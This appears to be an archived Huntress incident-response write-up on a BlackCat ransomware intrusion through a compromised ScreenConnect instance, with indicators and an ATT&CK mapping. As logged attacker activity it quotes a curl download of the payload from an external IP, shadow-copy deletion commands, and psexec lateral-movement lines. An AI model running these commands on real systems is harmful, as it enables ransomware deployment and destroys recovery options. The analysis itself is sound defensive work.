BlackCat Ransomware Affiliate TTPs | Huntress

Archived: 2026-04-02 10:46:50 UTC

Background

On December 19, 2023, the Justice Department Office of Public Affairs issued a press release indicating that the FBI had "disrupted the ALPHV/BlackCat ransomware variant." This variant of ransomware is offered to affiliates as "ransomware-as-a-service" (RaaS). The FBI also developed a decryption tool that was made available to organizations impacted by this RaaS variant, in an effort to help them recover and resume business operations.

On February 19, 2024, ConnectWise published a security advisory for ScreenConnect version 23.9.8, referencing two vulnerabilities and software weaknesses. Two days later, on February 21, Huntress published a blog explaining the ScreenConnect authentication bypass.

On February 27, Wired.com published an article addressing how ransomware groups were "bouncing back faster" following law enforcement disruption. On the same day, the Cybersecurity & Infrastructure Security Agency (CISA) published an advisory regarding the ALPHV/BlackCat ransomware, and included references to ScreenConnect (see table 4, "Network Indicators", in the advisory).

The Attack

Huntress has an extremely diverse customer base, spanning a wide range of geographic locations and business verticals. On February 22, 2024, Huntress SOC analysts responded to alerts from an endpoint, apparently associated with the healthcare community, indicating that Ransomware Canary files had been modified. A closer look identified a compromised ScreenConnect instance, as well as Huntress Managed Antivirus alerts, indicating that an attempt had been made to drop a ransomware executable file, identified as "BlackCat," on the endpoint.

The endpoint was identified as "apparently" associated with the healthcare community, based on the customer name. As the investigation proceeded, the MSP partner stated that the endpoint had been removed from the customer environment and given to someone else without their knowledge. Even so, the agent continued to report back to the Huntress infrastructure and generate alerts.

A deeper investigation into the endpoint revealed that the endpoint had two ScreenConnect instances running. From the available logs, the first ScreenConnect instance, which reported back to the MSP infrastructure and was likely legitimate, was installed on November 10, 2021. At that time, the installed ScreenConnect version was 20.10.957.7556. On February 20, 2024, this instance was updated to version 23.9.8.8811.

The second ScreenConnect instance, which had been identified as likely being a compromised installation, was installed on March 28, 2022. At the time, the version was 21.15.6764.8075. This version number was still being reported in log messages as recently as February 10, 2024. Further, this ScreenConnect instance connected to REDACTED.ddns.net.

Attack Timing

The threat actor accessed the endpoint via the second ScreenConnect instance. Available logs indicated that shortly after the instance was installed on March 28, 2022, a specific username connected to the instance; those same logs indicated sequences of the username being used to connect, and then later disconnecting until July 29, 2022. From that point until February 10, 2024, the only log messages indicated that this ScreenConnect instance experienced SocketException errors, and likely failed to connect to REDACTED.ddns.net. On February 10, 2024, logs illustrated a number of application errors and popup messages associated with this ScreenConnect instance; however, the logs do not provide sufficient detail to enumerate the specific issue the application encountered.

On February 22, 2024, a new username, chlsln14, connected to the ScreenConnect instance. At this point, the version of the ScreenConnect instance was still reported, via EDR telemetry, as 21.15.6764.8075. At 14:09:41 UTC, the following command was executed:

curl http://94.131.109[.]54:6531/iw0pjCKEzADKTMA5Xkv8ZxS6.exe -O

Twenty-three seconds later, the file **C:\Windows\System32\iw0pjCKEzADKTMA5Xkv8ZxS6.exe** was detected by Windows Defender, and the file was successfully quarantined at 14:10:31 UTC.

At 14:11:46 UTC, the Windows Defender SpyNetReporting value was changed from 2 to 0, essentially disabling the functionality. As there was no associated command line process observed in EDR telemetry, this modification was likely the result of graphical user interface (GUI) interaction; that is to say that the threat actor likely made the modification via the user interface. Following this log entry, there were several consecutive SecurityCenter log entries indicating that the state of Windows Defender was “snoozed.”

At 14:11:56 UTC, the original **curl** command was again executed, and appears to have succeeded because 23 seconds later, the following command was launched:

iw0pjCKEzADKTMA5Xkv8ZxS6.exe --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d

For the uninitiated, one of the aspects of RaaS ransomware products is that the executable files will often contain embedded commands used to disable security products and obviate recovery. After all, how effective is ransomware deployment if the impacted organization can simply recover by reverting the last restore point or volume shadow copy? As such, once the ransomware executable was launched, the embedded processes were launched as child processes of **iw0pjCKEzADKTMA5Xkv8ZxS6.exe**, and many were detected by the Huntress platform.

The commands observed via EDR telemetry included the following:

vssadmin.exe Delete Shadows /all /quiet

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f

iisreset.exe /stop

wmic.exe Shadowcopy Delete

The reg add command modifying the MaxMpxCt value increases the number of permitted outstanding network requests, apparently optimizing the file sharing network to handle a higher volume of traffic.

At this point, logs indicated that the chlsln14 user disconnected from the ScreenConnect session, and the ransomware executable continued to run. Subsequent to the above commands, Huntress EDR telemetry illustrated several instances of the following command:

C:\Windows\TEMP\psexec.exe" -nobanner -accepteula \\<NetBIOS Name> -u <DOMAIN>\Administrator -p <password> -s -d -f -c C:\Windows\system32\iw0pjCKEzADKTMA5Xkv8ZxS6.exe --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d --no-prop-servers \\<NetBIOS Name> --propagated

These commands, which were child processes of the ransomware executable process, were clearly intended to allow the ransomware to move laterally to other endpoints in the infrastructure. Following these commands, Windows Event Log records indicated instances of successful propagation to the additional endpoints, all of which utilized the 10.x.x.x IP addressing scheme. This was very important, as the **<DOMAIN>** field and NetBIOS names of remote endpoints could not be directly associated with the Huntress customer. Further, that Huntress customer utilized the 192.168.x.x IP addressing scheme within their infrastructure. Finally, during the investigation, no other endpoints within the Huntress customer's infrastructure showed similar signs of compromise, nor of file encryption.

Summary

The threat actor was connected to the endpoint via the second identified ScreenConnect instance for just under three minutes, and during that time was able to download a copy of the ransomware executable to the endpoint, react to the file being quarantined by temporarily disabling Windows Defender, and then downloading the executable file again and successfully launching it. The ransomware executable file, being a RaaS product, contained a number of embedded commands intended to inhibit or obviate recovery, as well as embedded commands and credentials that allowed the ransomware executable to move laterally within the impacted infrastructure. The commands allowed the executable to target named endpoints specific to the infrastructure in which the endpoint resided, indicating that the infrastructure was familiar to the threat actor.

This incident clearly demonstrates the need for an accurate, up-to-date **asset inventory**, one that includes not just physical and virtual systems, but also all available applications and services, for patching purposes. It also demonstrates the need for **attack surface reduction**, where administrators restrict access to or simply remove unnecessary applications and services, so they can provide either an easy, alternate means of access, or a means to access the endpoint that bypasses protection mechanisms such as MFA.

Indicators

Use of **curl.exe**

94.131.109[.]54:6531 - file download

iw0pjCKEzADKTMA5Xkv8ZxS6.exe - ransomware executable

RaaS commands:

vssadmin.exe Delete Shadows /all /quiet

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f

iisreset.exe /stop

wmic.exe Shadowcopy Delete

psexec.exe

MITRE ATT&CK Mapping

Initial Access - T1190, Exploit Public Facing Application (likely); T1078.002, Valid Domain Accounts

Execution - T1059.003, Windows Command Shell

Defense Evasion - T1562.001, Disable/Modify Tools

Privilege Escalation - T1078.002, Valid Domain Accounts

Impact - T1486, Data Encrypted For Impact

Impact - T1490, Inhibit System Recovery
